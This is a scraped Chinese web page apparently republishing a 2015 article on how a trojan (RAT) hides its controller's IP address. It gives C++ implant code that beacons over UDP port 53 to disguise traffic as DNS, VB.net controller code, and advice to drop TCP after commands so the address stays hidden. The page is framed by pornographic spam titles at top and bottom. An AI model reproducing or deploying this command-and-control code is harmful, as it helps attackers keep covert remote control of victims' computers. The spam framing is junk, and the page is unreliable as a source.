www.e4938.cn-老师你下面太紧了拔不出来,99re8这里有精品热视频免费,国产第一视频一区二区三区,青青草国产成人久久

<button id="60qo0"></button>

<strike id="60qo0"></strike>
<del id="60qo0"></del>
<fieldset id="60qo0"><menu id="60qo0"></menu></fieldset>
  • 淺談木馬如何隱藏上線IP地址

    2015-06-05 14:52:17 大云網  點擊量: 評論 (0)
    木馬也叫RAT,或者叫遠程管理軟件,關于如何隱藏IP地址,應該有不少人在研究,比如ROOTKIT實現(xiàn)文件隱藏、進程隱藏、網絡連接隱藏等等。本人才疏學淺,沒有深入研究過ROOTKIT,只是談談應用層的技術。下面給出流程

    木馬也叫RAT,或者叫遠程管理軟件,關于如何隱藏IP地址,應該有不少人在研究,比如ROOTKIT實現(xiàn)文件隱藏、進程隱藏、網絡連接隱藏等等。本人才疏學淺,沒有深入研究過ROOTKIT,只是談談應用層的技術。

    下面給出流程圖:

    解釋一下流程圖的原理,UDP網絡協(xié)議是面向無連接的,和TCP協(xié)議的三次握手不同。

    用系統(tǒng)自帶的查看網絡連接的命令 netstat -ano 是查看不到遠程IP地址和端口的,用第三方軟件或者工具也同樣查看不到,如以前的冰刃、360網絡連接查看器等等。

    下面結合源代碼和效果圖來說明下IP地址是如何隱藏的。

    被控端關鍵源代碼(C++):

    DWORD WINAPI ConnTask::InitUdpConn(LPVOID lpParameter)
    {
           WSADATA WSA;
            if ((WSAStartup(MAKEWORD(2,2),&WSA)) != 0)
           {
                  printf("[e]WSAStartup Error!\n");
           }
           boolean IsUdpConn=true;
           int timeout=1000;
     
           while(IsUdpConn)
           {
                  try
                  {
                  Sleep(UdpTime);  
                  SOCKET sockClient=socket(AF_INET,SOCK_DGRAM,0);
                  setsockopt(sockClient,SOL_SOCKET,SO_SNDTIMEO,(const char*)&timeout,sizeof(int));
                  setsockopt(sockClient, SOL_SOCKET, SO_RCVTIMEO, (const char *)&timeout, sizeof(int) );
                  SOCKADDR_IN addrSrv;
                   //域名上線
                  struct hostent *host = gethostbyname(g_remote_host.c_str());
                  addrSrv.sin_addr.s_addr=inet_addr(inet_ntoa(*((struct in_addr*)(host->h_addr))));
                  addrSrv.sin_family=AF_INET;
                  addrSrv.sin_port=htons(53);
     
                  u_long ul=1;//代表非阻塞
                  ioctlsocket(sockClient,FIONBIO,&ul);//設置為非阻塞連接
                  string sendStr = "0x4869";
                  sendto(sockClient,sendStr.c_str(),strlen(sendStr.c_str())+1,0,(SOCKADDR*)&addrSrv,sizeof(SOCKADDR));
     
                  u_long ulu=0;//代表阻塞
                  ioctlsocket(sockClient,FIONBIO,&ulu);//設置為阻塞連接
                  int len=sizeof(SOCKADDR);
                  char recvBuf[14]={0};
                  recvfrom(sockClient,recvBuf,14,0,(SOCKADDR*)&addrSrv,&len);
     
                  string recvStr=recvBuf;
                  if (0 == strncmp(recvStr.c_str(), "4F70656E546370",14))
                  {
                         IsUdpConn=false;
                         InitTcpConn();
                         closesocket(sockClient);
                  }
                  SYSTEMTIME sys;
                  GetLocalTime( &sys );
                  printf("udprecv time: %02d:%02d:%02d ",sys.wHour,sys.wMinute, sys.wSecond);
                  printf("%s\n",recvStr.c_str());
                  closesocket(sockClient);
                 
                  }catch(...)  //捕獲任意類型異常
                  {
     
                  }
           }
           WSACleanup();
    }

    控制端關鍵源代碼(vb.net):

     Private Sub InitUdp()        
     Try
                Dim udpServer As New UdpClient(53)&#039;53號端口是DNS 協(xié)議端口,隱蔽性好。
                Dim groupEP As New IPEndPoint(IPAddress.Any, 53)
                While (True)
                    Dim buffer As Byte() = udpServer.Receive(groupEP)
     
                    Dim revStr As String = Encoding.UTF8.GetString(buffer, 0, buffer.Length)
                    Dim ipaddr As String = groupEP.Address.ToString()
                    Dim MessageIn As New gDelegate(AddressOf displayTxt)
                    Me.Invoke(MessageIn, ipaddr & " " & revStr)
                           
                    udpServer.Send(Encoding.UTF8.GetBytes("OpenTcp"), 7, groupEP)
     
                End While
            Catch ex As SocketException
                Debug.Print(ex.ToString())
                &#039;MsgBox(ex.ToString())
            Catch e As Exception
                Debug.Print(e.ToString())
                &#039;MsgBox(e.ToString())
            Finally
     
            End Try
     
        End Sub

    上面的代碼只是用來測試用的,真正的木馬源代碼會有少量的變化。

    下面是測試程序效果圖。

    被控端:

    控制端:

    控制端我這里用的是內網的IP地址,用公網IP地址也是一樣的效果。 

    到了這里有人會問, 最后你這里還是會用TCP 來建立連接, TCP連接就會有網絡連接的遠程IP地址。是的,沒錯,確實能看到網絡連接、IP地址也能查看到。這樣是不是就沒有必要之前的步驟了, 我個人看法是有必要; 為什么? 因為絕大多數木馬都是開機自啟動的, 自啟動后控制端并不一定處于監(jiān)聽狀態(tài)。

    可能1個小時,也可能一天或者一個月。只要控制端不處于監(jiān)聽狀態(tài),被控端就一直查不到遠程的IP地址。還有一個步驟這里說明下,當控制端發(fā)送完指令后,比如文件上傳下載、執(zhí)行命令、屏幕捕獲等等木馬常用的功能, 當發(fā)送完這些指令后, 控制端可以隨時發(fā)送斷開 TCP 連接的指令,讓被控端再次進入UDP發(fā)送消息的流程中,這樣 IP 地址再次隱藏。

    最后是高潮部分。

    看下遠控程序的實際效果圖:

    作為觀看這篇文章的獎勵, 我有一個小禮物送給大家。

    xmap

    主要功能:獲取局域網在線IP地址,MAC地址,MAC設備制造商.

    使用方法:

    方法一:直接命令行下執(zhí)行xmap.

    方法二:xmap 本機IP 本機子網掩碼

    注意:參數中間都有空格。

    效果圖如下:

     

    大云網官方微信售電那點事兒

    責任編輯:大云網

    免責聲明:本文僅代表作者個人觀點,與本站無關。其原創(chuàng)性以及文中陳述文字和內容未經本站證實,對本文以及其中全部或者部分內容、文字的真實性、完整性、及時性本站不作任何保證或承諾,請讀者僅作參考,并請自行核實相關內容。
    我要收藏
    個贊
    ?
    午夜精品久久久久久久无码| 精品熟人妻一区二区三区四区不卡| 国产成人无码a区在线观看视频免费| 久久爆乳AⅤ无码一区二区| av无码精品一区二区三区宅噜噜| 久久久久精品网站| 国产精品污WWW一区二区三区| 亚洲精品成人网久久久久久有限公司| 亚洲M码欧洲S码SSS222| 国产成人精品免高潮在线观看|